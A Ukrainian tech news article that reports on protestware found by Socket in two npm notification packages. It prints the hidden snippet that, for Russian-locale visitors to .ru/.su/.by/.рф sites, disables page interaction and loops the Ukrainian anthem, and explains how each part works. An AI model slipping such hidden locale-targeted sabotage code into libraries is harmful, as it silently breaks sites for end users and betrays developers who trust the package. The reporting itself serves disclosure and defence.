Рубріки: Новини

У пакетах npm виявили код, який циклічно відтворює гімн України для відвідувачів російських сайтів

Дмитро Сімагін

Команда дослідження загроз Socket виявила два npm-пакети, які використовуються в JavaScript-розробці, з прихованим функціоналом для російськомовних користувачів, що регулярно відвідують російські сайти.

Пакети @link-loom/ui-sdk та @link-loom-react-sdk розроблені, щоб нібито допомогти розробникам створювати гарні спливаючі сповіщення у веб-застосунках. Однак, якщо користувач браузера з російською мовою в налаштуваннях відвідує російський веб-сайт, який використовує ці пакети JavaScript, то його чекає сюрприз: сайт зависає. Користувач не може нічого натиснути, прокручувати чи взаємодіяти будь-яким чином — поки безперервно грає гімн України.

Обидва пакети створені одним розробником, з кількома версіями, на які поширюється проблема (з 1.0.6 по 1.0.99 та з 1.0.100 по 1.0.151). Вони містять відому бібліотеку JavaScript SweetAlert2, яка створює модальні спливаючі вікна браузера, сумісні з React. SweetAlert2 розроблений для браузерних програм і широко використовується в інформаційних та адміністративних панелях, модальних вікнах продуктів тощо.

Пакет @link-loom/ui-sdk має понад 7000 завантажень і тому може впливати на будь-якого веб-розробника, який раніше його завантажував.

Розробники можуть використовувати ці уражені версії, не усвідомлюючи, що пакети зупиняють взаємодію з інтерфейсом користувача на веб-сайтах для будь-яких російськомовних користувачів, які відвідують російські або білоруські веб-сайти. Це підпадає під класифікацію протестного програмного забезпечення (protestware).

Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js вставлено код:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    var now = new Date();
    var initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', "".concat(now));
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(function () {
        document.body.style.pointerEvents = 'none';
        var ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(function () {
          ukrainianAnthem.play()["catch"](function () {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

 

Перший рядок коду є комплексним if statement, що вимагає від користувача відповідності всім трьом наступним кваліфікаціям:

  • typeof window !== ‘undefined’ код виконується у браузері.
  • /^ru\\b/.test(navigator.language) — мовні налаштування браузера користувача – російська.
  • location.host.match(/\\.(ru|su|by|xn--p1ai)$/) — поточний домен є російським або білоруським.
  • .ru, .su, та .by позначають російський, радянський та білоруський домени відповідно. xn--p1ai позначає Росію кирилицею як домен .рф, який може зустрічатися на міжнародному рівні.

Для користувача, який відвідує російський або білоруський домен у своєму браузері, де встановлена російська мова, код працює так:

  • Перевіряє поточну дату та час.
  • Намагається отримати збережений рядок дати з браузера. Якщо це перше відвідування, повертає значення null та зберігає поточні дані в рядку.
  • Якщо ключ встановлено, перевіряється, скільки днів минуло з моменту останнього відвідування користувачем сайту.
  • Якщо з моменту відвідування користувачем сайту минуло більше трьох днів, перед подальшою роботою функцій передбачена затримка 500 мс.
  • Цей рядок document.body.style.pointerEvents = ‘none’; вимикає будь-яку взаємодію на сторінці за допомогою миші. Елементи сторінки ігноруватимуть кліки, наведення курсора, прокручування тощо, що фактично робить сторінку нечутливою до вводу користувача.
  • Потім, за допомогою жорсткого кодування віддаленого файлу, відтворюється український державний гімн .mp3. .loop = true. Це забезпечує безперервне відтворення гімну, доки сторінка не завершиться за часом або не буде зупинена вручну. Однак користувач не може зупинити веб-сторінку вручну через блокування під час взаємодії з мишею.
  • Інші частини коду додають затримки, щоб обійти обмеження автовідтворення та непомітно придушити помилки.

На завершення, користувачі, у яких в браузері встановлено російську мову та які відвідують домен .ru, .su, .by, або .рф принаймні вдруге та з інтервалом щонайменше три дні, не зможуть взаємодіяти з веб-сторінкою та зупинити циклічне відтворення гімну України. На екрані не буде помилок, журналів консолі чи візуальних підказок.

 

Останні статті

Meta не змогли купити ШІ-стартап Іллі Суцкевера за $32 млрд, а тепер намагається переманити їхнього CEO

Meta Platforms посилює «полювання» на ключових фахівців зі штучного інтелекту. Після невдалої спроби викупити стартап…

20.06.2025

Україну на виставці VivaTech 2025 представляли 16 стартапів. Один з них визнали найперспективнішим соціально-екологічним проєктом заходу

Українська технологічна спільнота укотре підтвердила свої глобальні амбіції на виставці VivaTech 2025, де національний стенд…

20.06.2025

Програмісти яких країн найчастіше генерують код — результати дослідження

Розробники програмного забезпечення із США виявились найактивнішими в світі користувачами чат-ботів і помічників кодування на…

20.06.2025

Microsoft видалить застарілі драйвери з Windows Update

Компанія Microsoft повідомила про намір видалити застарілі драйвери, які досі доступні через Windows Update. Це…

20.06.2025

Третина згенерованого коду потрапляє в продакшн без перевірки — звіт Cloudsmith

Штучний інтелект генерує понад половину коду в деяких компаніях, але значна його частина потрапляє в…

20.06.2025

Оновлення Telegram: списки завдань та розширення рекламних функцій

Команда Telegram випустила beta-версію застосунку для iOS 11.13 (30945). У месенджері з'явилася можливість створювати списки…

20.06.2025